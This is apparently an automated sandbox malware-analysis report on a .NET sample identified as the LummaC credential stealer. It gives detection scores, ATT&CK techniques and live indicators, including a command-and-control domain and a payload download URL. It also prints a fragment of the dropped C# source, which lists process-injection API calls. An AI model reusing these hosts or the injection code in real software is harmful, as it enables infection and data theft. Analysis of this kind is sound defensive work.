Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	411 Process Injection	1 Masquerading	2 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	131 Virtualization/Sandbox Evasion	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	2 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	411 Process Injection	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ZjH6H6xqo7.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.Leonem
ZjH6H6xqo7.exe	66%	Virustotal		Browse
ZjH6H6xqo7.exe	100%	Avira	HEUR/AGEN.1306918
ZjH6H6xqo7.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.dll	100%	Avira	HEUR/AGEN.1300034
C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.dll	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://sector-essay.cyou/api	100%	Avira URL Cloud	malware
https://sector-essay.cyou/apij	100%	Avira URL Cloud	malware
http://147.45.44.131/infopage/tvh53.exe	100%	Avira URL Cloud	malware
http://147.45.44.131/infopage/tvh53.exeP	0%	Avira URL Cloud	safe
https://sector-essay.cyou/5	100%	Avira URL Cloud	malware
https://sector-essay.cyou/apiO	100%	Avira URL Cloud	malware
https://sector-essay.cyou/apiC	100%	Avira URL Cloud	malware
https://sector-essay.cyou/	100%	Avira URL Cloud	malware
http://147.45.44.131	0%	Avira URL Cloud	safe
https://sector-essay.cyou:443/apiMicrosoft	100%	Avira URL Cloud	malware
https://sector-essay.cyou/apie	100%	Avira URL Cloud	malware
https://sector-essay.cyou:443/api	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sector-essay.cyou	104.21.47.136	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://sector-essay.cyou/api	true	Avira URL Cloud: malware	unknown
http://147.45.44.131/infopage/tvh53.exe	false	Avira URL Cloud: malware	unknown
thicktoys.sbs	false		high
300snails.sbs	false		high
faintbl0w.sbs	false		high
3xc1aimbl0w.sbs	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://sector-essay.cyou/5	RegAsm.exe, 00000005.00000002.2267546315.00000000015D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sector-essay.cyou/apij	RegAsm.exe, 00000005.00000002.2267546315.00000000015D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.44.131/infopage/tvh53.exeP	ZjH6H6xqo7.exe, 00000000.00000002.2074535680.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sector-essay.cyou/apiO	RegAsm.exe, 00000005.00000002.2267546315.00000000015D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	ZjH6H6xqo7.exe, 00000000.00000002.2074535680.0000000002F8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sector-essay.cyou/apiC	RegAsm.exe, 00000005.00000002.2267846615.00000000015F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sector-essay.cyou/	RegAsm.exe, 00000005.00000002.2267546315.00000000015D3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.2267546315.0000000001570000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.44.131	ZjH6H6xqo7.exe, 00000000.00000002.2074535680.0000000002F8B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sector-essay.cyou:443/apiMicrosoft	RegAsm.exe, 00000005.00000002.2267546315.000000000155A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sector-essay.cyou/apie	RegAsm.exe, 00000005.00000002.2267846615.00000000015F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sector-essay.cyou:443/api	RegAsm.exe, 00000005.00000002.2267546315.000000000155A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
147.45.44.131	unknown	Russian Federation		2895	FREE-NET-ASFREEnetEU	false
104.21.47.136	sector-essay.cyou	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561755
Start date and time:	2024-11-24 08:34:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ZjH6H6xqo7.exe renamed because original name is a hash value
Original Sample Name:	16a1fbd21af85d43b1ac31bf1829a152.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@8/7@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 83% Number of executed functions: 36 Number of non-executed functions: 97
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:35:35	API Interceptor	1x Sleep call for process: ZjH6H6xqo7.exe modified
02:35:38	API Interceptor	7x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
147.45.44.131	nlJ2sNaZVi.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/infopage/tbh75.exe
	TZ33WZy6QL.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/infopage/tbg9.exe
	7IXl1M9JGV.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/infopage/tbg9.exe
	7IXl1M9JGV.exe	Get hash	malicious	Unknown	Browse	147.45.44.131/infopage/bhdh552.ps1
	Rechnung_643839483.pdf.lnk	Get hash	malicious	Unknown	Browse	147.45.44.131/infopage/cdeea.exe
	file.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/gqgqg.exe
	AS5AB7c08n.exe	Get hash	malicious	MicroClip	Browse	147.45.44.131/files/tpgl053.exe
	ptgl503.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/gpto03.exe
	Suselx1.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/g5.exe
	gkqg90.ps1	Get hash	malicious	LummaC	Browse	147.45.44.131/files/otqp9.exe
104.21.47.136	https://70183673.befb1d052c5367780a698112.workers.dev/favicon.icoa5	Get hash	malicious	HTMLPhisher	Browse
104.21.47.136	http://ecv.microsoft.com/Uudhycaukj	Get hash	malicious	HTMLPhisher	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	PAYROLL LIST.exe	Get hash	malicious	FormBook	Browse	104.21.40.167
	file.exe	Get hash	malicious	FormBook	Browse	172.67.186.192
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	172.67.168.228
	CargoInvoice_Outstanding_56789_2024-11-21.vbs	Get hash	malicious	Remcos, GuLoader	Browse	172.67.191.199
	ZEcVl5jzXD.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	VSP469620.exe	Get hash	malicious	FormBook	Browse	104.21.44.16
	purchase Order.exe	Get hash	malicious	FormBook	Browse	172.67.145.234
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	172.67.168.228
	Papyment_Advice.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	TAX INVOICE.exe	Get hash	malicious	FormBook	Browse	104.21.76.162
FREE-NET-ASFREEnetEU	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.47.81
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.47.81
	Script.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.47.81
	https://docs.google.com/drawings/d/15fSe2159qP21C2NrS3K5cgcsyPwNINvux6xIUCvvgBU/preview?pli=1AmyVazquez-brian.nester@lvhn.org	Get hash	malicious	HTMLPhisher	Browse	147.45.178.112
	http://147.45.47.98/js/error.js	Get hash	malicious	Unknown	Browse	147.45.47.98
	hmips.elf	Get hash	malicious	Unknown	Browse	193.233.193.45
	ppc.elf	Get hash	malicious	Unknown	Browse	193.233.193.45
	mips.elf	Get hash	malicious	Unknown	Browse	193.233.193.45
	x86.elf	Get hash	malicious	Unknown	Browse	193.233.193.45
	owari.mips.elf	Get hash	malicious	Unknown	Browse	147.45.234.212

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.47.136
	file.exe	Get hash	malicious	LummaC	Browse	104.21.47.136
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	104.21.47.136
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.47.136
	file.exe	Get hash	malicious	LummaC	Browse	104.21.47.136
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.47.136
	file.exe	Get hash	malicious	Unknown	Browse	104.21.47.136
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.47.136
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.47.136
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.47.136

Process:	C:\Users\user\Desktop\ZjH6H6xqo7.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.345615485833535
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeR:MxHKlYHKh3oPtHo6hAHKzeR
MD5:	EEEC189088CC5F1F69CEE62A3BE59EA2
SHA1:	250F25CE24458FC0C581FDDF59FAA26D557844C5
SHA-256:	5345D03A7E6C9436497BA4120DE1F941800F2522A21DE70CEA6DB1633D356E11
SHA-512:	2E017FD29A505BCAC78C659DE10E0D869C42CE3B057840680B23961DBCB1F82B1CC7094C87CEEB8FA14826C4D8CFED88DC647422A4A3FA36C4AAFD6430DAEFE5
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Temp\RES6781.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols, created Sun Nov 24 08:41:24 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1336
Entropy (8bit):	3.991383819364011
Encrypted:	false
SSDEEP:	24:HLm9psJ6KHxwKTFexmfwI+ycuZhNSXakSTAPNnqSSd:Wk6K6KTAxmo1ulIa3UqSC
MD5:	9E77C69349D66459F94A610859E00667
SHA1:	E3E8360803C4F78999AC5CF8F2EFE00D8E12D8A9
SHA-256:	DAE2A9CB237F82382CC3D3A5AEC92F8CBD2A78058BE297B0987817C14E805E47
SHA-512:	A2022840FB4314A75C23B30CB092E81C158D2E805C9D98B816D77A9CA604B3A5E3AB11624F8E5B4A500C3871478AD81A29E01A0B688481A79DAD7DB6C9F76E0A
Malicious:	false
Reputation:	low
Preview:	L.....Bg.............debug$S........T...................@..B.rsrc$01........X.......8...........@..@.rsrc$02........P...B...............@..@........U....c:\Users\user\AppData\Local\Temp\up5gphgh\CSCE347F25DAC914FE0BD5774A121A2513C.TMP......................._...V+..............5.......C:\Users\user\AppData\Local\Temp\RES6781.tmp.-.<....................a..Microsoft (R) CVTRES.].=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...u.p.5.g.p.h.g.h...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.

C:\Users\user\AppData\Local\Temp\up5gphgh\CSCE347F25DAC914FE0BD5774A121A2513C.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.102451476879216
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryY4Yak7YnqqT4NPN5Dlq5J:+RI+ycuZhNSXakSTAPNnqX
MD5:	9BB59F2E945FCE94F6B9562BCAF611DF
SHA1:	9477D6CD071D2F3BBB8CFB3CFDC79DAF7DD7523E
SHA-256:	3EA5DAE045CC2B3F1BCF78AA56ED4414DDA4CD220E4ADC3787AB29E1D30B5C79
SHA-512:	D4E09EBE14A0650D68EF7F30007EB3C552D1CE2F390FC78A6B29609C4AD4CB8240805A3EE09565727BB2DDF770A52B072C55EB1C9DA5BAD3592399B960D3DC35
Malicious:	false
Reputation:	low
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...u.p.5.g.p.h.g.h...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...u.p.5.g.p.h.g.h...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.0.cs

Download File

Process:	C:\Users\user\Desktop\ZjH6H6xqo7.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	10583
Entropy (8bit):	4.487855797297623
Encrypted:	false
SSDEEP:	192:eC2oTLpQgzLOoBwMw2kdl/kSpu/TuvnMHzrEx:tDLOoBol/kSpgCvMfM
MD5:	B022C6FE4494666C8337A975D175C726
SHA1:	8197D4A993E7547D19D7B067B4D28EBE48329793
SHA-256:	D02016A307B3E8DA1A80C29551D44C17358910816E992BC1B53DA006D62DD56A
SHA-512:	DF670235E87B1EE957086BE88731B458C28629E65E052276DD543BE273030986A7E5C67FA83587F68EC06FA0F33B0C3F1F041C2D06073709B340F96C3884F2B9
Malicious:	true
Reputation:	low
Preview:	.using System;..using System.Diagnostics;..using System.Runtime.InteropServices;....public class Engineers..{.. #region ConversionMethods.. public static Int16 ConvertToInt16(byte[] value, int startIndex).. {.. return BitConverter.ToInt16(value, startIndex);.. }.... public static Int32 ConvertToInt32(byte[] value, int startIndex).. {.. return BitConverter.ToInt32(value, startIndex);.. }.... public static byte[] ConvertToBytes(int value).. {.. return BitConverter.GetBytes(value);.. }.. #endregion.... #region ApiNames.. public static string[] GetApiNames().. {.. return new string[].. {.. "kernel32",.. "ntdll",.. "ResumeThread",.. "Wow64SetThreadContext",.. "SetThreadContext",.. "Wow64GetThreadContext",.. "GetThreadContext",.. "VirtualAllocEx",.. "WriteProcessMemory",.. "ReadProcessMemory",..

C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.cmdline

Download File

Process:	C:\Users\user\Desktop\ZjH6H6xqo7.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	206
Entropy (8bit):	4.973455014317479
Encrypted:	false
SSDEEP:	3:0HXEXA8F+H2R5BJiWR5mKWLRRUkh4E2J5xAIkFQEVyP0iQCIFRVRMxTPIUkh4E2B:pAu+H2L/6K2923fEbjzxszI923fEbM9
MD5:	704DF70D3D2E88D3D34AFF54F4D550A6
SHA1:	3388F18E67333F3B93251D00CE39A56819BCE69D
SHA-256:	92254DCF3950333E2B5259AA6302043FC3375685B0B3FB4735A379E94CBF1592
SHA-512:	0664C70E1F8DCE0B648AD79B59DF2F3421B6D931CBA5D6188DD5912E17B4369CF82C51A7404B8AE39B133C1B154D5569031067BCB7B343D768422E97CA13D49D
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.0.cs"

C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	8704
Entropy (8bit):	4.664111296042152
Encrypted:	false
SSDEEP:	96:KbuaQZGQf9xPQ2pCa/u67hHJif9IhbpPrjzKcaEZRcH0ljILHqrv5MqBTzeNc+iz:KCaQHf9WDa/u6VRj2ca7Uxd5MqReNcH
MD5:	57E62C581F83867854E6B3F6E7347526
SHA1:	0CE17F0CE2AB77D673ADFBFC41B39D882E81169A
SHA-256:	FBC2D40418BDAE4A519A1F465B3D99A3B60DCE6E3437B4034509687A065F3C38
SHA-512:	86B59090EFAB36491DE88718ECB8DBC16933EB5B969CA05FC8D7B642A31ECC7DF8DBC2F3CD2D01F7BCDA20C0497A8161880B38B73928B9F00742B5D55A27CBF0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Bg...........!.................9... ...@....... ....................................@..................................9..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................9......H.......d%.............................................................."..(...."..(......(.......0..m.................r...p...r...p...r...p...r9..p...re..p...r...p...r...p...r...p...r...p....r...p....r=..p....rg..p.....(......(.........(....(.........*....0..&....... .......+E......YE....................YE............+....+....,....+...+.....X...2...8..............................(....(....}....~.....r...p~....~..... ....~.........o0.......-.s....z..<(..........4X(......

C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.out

Download File

Process:	C:\Users\user\Desktop\ZjH6H6xqo7.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	705
Entropy (8bit):	5.2111508376695825
Encrypted:	false
SSDEEP:	12:KMi/qR37L/6KzsbjwsbM4KaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KMoqdn6KzsbMsb/Kax5DqBVKVrdFAMBt
MD5:	F7538DA443799D6D33CB43301E82A9CC
SHA1:	5D8DA53593636552D0A67538370873456EC7B68F
SHA-256:	53E10AF41DEA46EDD9C3DA16B82B0514FA087B85A31B88C5A3C2364EF218070B
SHA-512:	CA716765FB24C7FB6F2CF26BE94282CE35454D1B3E8654FFA1D5E5740C097B5E0EDEA45B724ADE05204B9828621E1B09731FAC98C9B7C5C178DFAE7F9238982C
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	3.9202524936856595
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	ZjH6H6xqo7.exe
File size:	44'544 bytes
MD5:	16a1fbd21af85d43b1ac31bf1829a152
SHA1:	522a835acc8ec09d9d74d695fb9ebaed3b2d72ff
SHA256:	36589e0ed1c8a584dc014add50db2f2ac1c5a0cfac5403f7b7886b66e26a1d86
SHA512:	d5d46d0b8832e58b2857ca9daad28c0dea83ba11846894995ce01d05d1be93644a50996a6b66e41db9da00282216bb96fc6f05a4ca7111b2aee4330678c30672
SSDEEP:	768:5/EVNSVwafevGHkiV++I1gqDnJuuAuznQVLNvxu0BvkwIt6BcN4fet:5sVN7aeGEk+11Tu9AnQVLNppvk9RN4Gt
TLSH:	9913585571FEA029D5BBEBB5BEDDACEDC89E5971182C645700C1928B4B20FE0EA43C34
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0.............B.... ........@.. ....................... ............`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40c342
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xEFCB81EF [Wed Jun 26 13:28:15 2097 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
